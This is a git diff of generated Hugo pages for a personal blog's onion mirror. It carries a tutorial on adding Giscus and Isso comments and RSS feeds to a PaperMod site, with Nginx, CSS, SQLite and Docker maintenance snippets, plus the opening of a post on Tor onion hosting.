+ + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/meta/index.xml b/public-onion/categories/meta/index.xml new file mode 100644 index 0000000..9a2b9cd --- /dev/null +++ b/public-onion/categories/meta/index.xml @@ -0,0 +1,640 @@ + + + + Meta on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/meta/ + Recent content in Meta on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/meta/page/1/index.html b/public-onion/categories/meta/page/1/index.html new file mode 100644 index 0000000..87f4758 --- /dev/null +++ b/public-onion/categories/meta/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/meta/ + + + + + + diff --git a/public-onion/categories/notes/index.html b/public-onion/categories/notes/index.html new file mode 100644 index 0000000..d6dc99d --- /dev/null +++ b/public-onion/categories/notes/index.html @@ -0,0 +1,356 @@ + + + + + + + +Notes | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/notes/index.xml b/public-onion/categories/notes/index.xml new file mode 100644 index 0000000..c5e322c --- /dev/null +++ b/public-onion/categories/notes/index.xml @@ -0,0 +1,249 @@ + + + + Notes on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + Recent content in Notes on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 19 Sep 2025 00:00:00 +0000 + + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
